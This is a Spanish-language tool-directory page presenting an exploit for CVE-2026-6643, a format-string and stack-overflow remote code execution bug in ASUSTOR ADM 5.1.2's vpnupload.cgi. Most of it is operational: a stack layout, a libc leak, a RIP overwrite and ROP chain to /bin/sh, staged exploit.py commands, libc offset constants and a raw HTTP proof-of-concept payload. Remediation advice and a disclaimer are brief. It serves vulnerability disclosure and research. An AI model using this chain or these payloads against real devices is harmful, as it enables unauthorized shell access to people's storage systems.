Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-6643 — ASUSTOR ADM 5.1.2 vpnupload.cgi Cadena de formato y desbordamiento de búfer en la pila RCE (CVE-2026-6643) | Kitploit
Herramientas/GitHubGitHub/mlgzackfly/cve-2026-6643
Análisis de VulnerabilidadesExplotaciónShellcodeExplotación de Aplicaciones WebPruebas de PenetraciónDesarrollo de PayloadsExplotación de Binarios
GitHubmlgzackfly/cve-2026-6643

CVE-2026-6643

ASUSTOR ADM 5.1.2 vpnupload.cgi Cadena de formato y desbordamiento de búfer en la pila RCE (CVE-2026-6643)

Ver Repositorio
2hace 4 mesesAún no revisado
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-6643 — ASUSTOR ADM 5.1.2 RCE

Cadena de formato (CWE-134) + Desbordamiento de búfer de pila (CWE-121) en vpnupload.cgi

Resumen de la vulnerabilidad

CampoValor
ProductoASUSTOR ADM (ASUSTOR Data Master)
Versión afectadaADM 5.1.2.REO1 (X64_G3, 2026-02-25)
Componente/portal/apis/settings/vpnupload.cgi — acción upload_wireguard
Tipo de vulnerabilidadCWE-134 Cadena de formato / CWE-121 Desbordamiento de búfer de pila
SeveridadAlta
Autenticación requeridaSí (cookie Revive_Session válida)
Fecha de descubrimiento2026-03-14

Detalles de la vulnerabilidad

Vulnerabilidad A — Cadena de formato (CWE-134)

El controlador upload_wireguard analiza un archivo de configuración de WireGuard, ensambla los campos en un objeto JSON y luego pasa el resultado directamente como argumento de cadena de formato a printf():

root@kitploit:~
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2);    // user-controlled format string

Un atacante puede incrustar especificadores de formato de printf en cualquier campo de configuración de WireGuard:

  • %x / %p — leer memoria de la pila (fuga de información)
  • %n — escribir en memoria arbitraria (ejecución de código mediante sobrescritura de GOT)

Vulnerabilidad B — Desbordamiento de búfer de pila (CWE-121)

El mismo controlador utiliza sscanf("%s") sin límites para copiar valores de configuración en búferes de pila de 300 bytes, mientras que fgets acepta hasta 32,768 bytes por línea:

root@kitploit:~
__isoc23_sscanf(__s, "PrivateKey = %s",           local_ac4);   // 300B
__isoc23_sscanf(__s, "Endpoint = %s",             local_164);   // 300B
// 8 fields total; only DNS has a length limit

Proporcionar más de 300 bytes desborda los búferes adyacentes. Con 4000 bytes el RIP guardado se corrompe, provocando SIGSEGV.

Mitigaciones binarias

ProtecciónEstadoImpacto
FORTIFY_SOURCEDeshabilitadoprintf (no __printf_chk) — la escritura %n funciona
Canario de pilaDeshabilitadoNo se requiere fuga de canario
PIEDeshabilitadoLas direcciones de GOT y gadgets son estáticas
RELROParcialGOT es escribible

Cadena de explotación

root@kitploit:~
Step 1  Format string %x   →  Leak stack memory, recover libc base
Step 2  Endpoint overflow   →  Overwrite saved RIP with one-gadget / system()
Step 3  execve("/bin/sh")   →  Shell as the web server user

Por qué Endpoint es el mejor objetivo de desbordamiento

local_164 (el búfer de Endpoint) se encuentra en rbp-0x164, el más cercano de los ocho búferes a la dirección de retorno guardada:

root@kitploit:~
Stack layout (Ghidra):
  local_ac4  PrivateKey           rbp-0xac4   300B
  local_998  Address              rbp-0x998   300B
  local_86c  PublicKey            rbp-0x86c   300B
  local_740  ListenPort           rbp-0x740   300B
  local_4e8  PresharedKey         rbp-0x4e8   300B
  local_3bc  AllowedIPs           rbp-0x3bc   300B
  local_290  PersistentKeepalive  rbp-0x290   300B
  local_164  Endpoint             rbp-0x164   300B  ← target
  saved RBP                       rbp+0x000
  saved RIP                       rbp+0x008   ← 0x164 + 8 = 364 bytes away

Bypass de byte nulo

sscanf("%s") deja de copiar en un byte nulo. Una dirección de libc (0x7f...) en little-endian termina con dos bytes nulos. Sin embargo, los dos bytes superiores de cualquier RIP guardado ya contienen 0x0000, por lo que la escritura se realiza correctamente aunque sscanf termine antes de tiempo:

root@kitploit:~
one_gadget address 0x00007f1234567890 (little-endian):
  \x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
                                ^--- sscanf stops here
                                     but these bytes were already 0x00 → correct

Todos los gadgets ROP intermedios también deben provenir de libc (rango 0x7f...) para evitar bytes nulos incrustados. Solo el valor final de la cadena puede terminar con nulos.

Requisitos

root@kitploit:~
uv add requests

Uso

Paso 1 — Detectar el desplazamiento del argumento de la cadena de formato

root@kitploit:~
uv run exploit.py <host:port> '<cookie>' --stage offset

Ejemplo de salida:

root@kitploit:~
[*] Detecting format string argument offset...
[+] Offset: 8  (echo: AAAA.41414141...)

Paso 2 — Filtrar la base de libc

root@kitploit:~
uv run exploit.py <host:port> '<cookie>' --stage leak --fmt-offset 8

Ejemplo de salida:

root@kitploit:~
[+] Stack dump (args 8..47):
    [  8]  0x0000000000000000
    [  9]  0x00007f8b2c3d4e5f  ← libc candidate
    ...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
    Subtract the known offset of whichever symbol this is:
    libc_base = 0x7f8b2c3d4e5f - <symbol_offset>

Identifica el símbolo y calcula la base de libc:

root@kitploit:~
readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f → libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f

Paso 3 — RCE

root@kitploit:~
# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py <host:port> '<cookie>' --stage rce --libc-base 0x7f8b2c000000

# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py <host:port> '<cookie>' --stage rce-rop --libc-base 0x7f8b2c000000

Paso 4 — Ejecutar comandos (después de la sobrescritura de GOT)

root@kitploit:~
uv run exploit.py <host:port> '<cookie>' --stage shell --cmd 'id'

Obtención de los offsets de libc

Extrae libc.so.6 de la imagen de firmware y luego ejecuta:

root@kitploit:~
# system() offset
readelf -s libc.so.6 | grep -w system

# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'

# one_gadget offsets
one_gadget libc.so.6    # gem install one_gadget

Actualiza las constantes en exploit.py:

root@kitploit:~
LIBC_SYSTEM      = 0x055410
LIBC_BINSH       = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]

Prueba de concepto

Fuga de cadena de formato

root@kitploit:~
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: <valid session>
Content-Type: multipart/form-data; boundary=BOUND

--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"

dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"

[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1

[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--

Nota: Se requieren dos secciones multipart. El analizador utiliza un contador de límites; el análisis sscanf se activa solo en la segunda sección.

Respuesta (campo clientprivatekey):

root@kitploit:~
AAAA_feebd19f_0000012b_0000007d_00000002

Desbordamiento de búfer de pila (caída)

Establece PrivateKey en 4000 bytes → SIGSEGV (código de salida 139).

Remediación

VulnerabilidadSolución
Cadena de formatoReemplaza printf(pcVar2) por printf("%s", pcVar2) o fputs(pcVar2, stdout)
Desbordamiento de búferAñade límites de longitud a todas las cadenas de formato sscanf (p. ej. %299s para búferes de 300 bytes)

Entorno de prueba

  • Firmware: X64_G3_5.1.2.REO1.img — vpnupload.cgi extraído de la imagen
  • Plataforma: Linux x86-64, utilizando el ld-linux y las bibliotecas compartidas del propio firmware
  • Bypass de autenticación: parche de un solo byte je → jmp en el offset 0x1224 (solo pruebas locales)

Referencias

  • Artículo de investigación: https://blog.mlgzackfly.tw/cve-2026-6643/

Descargo de responsabilidad

Este exploit se proporciona únicamente para investigación de seguridad y pruebas autorizadas. No lo utilices contra sistemas sin permiso explícito.

Descargar herramienta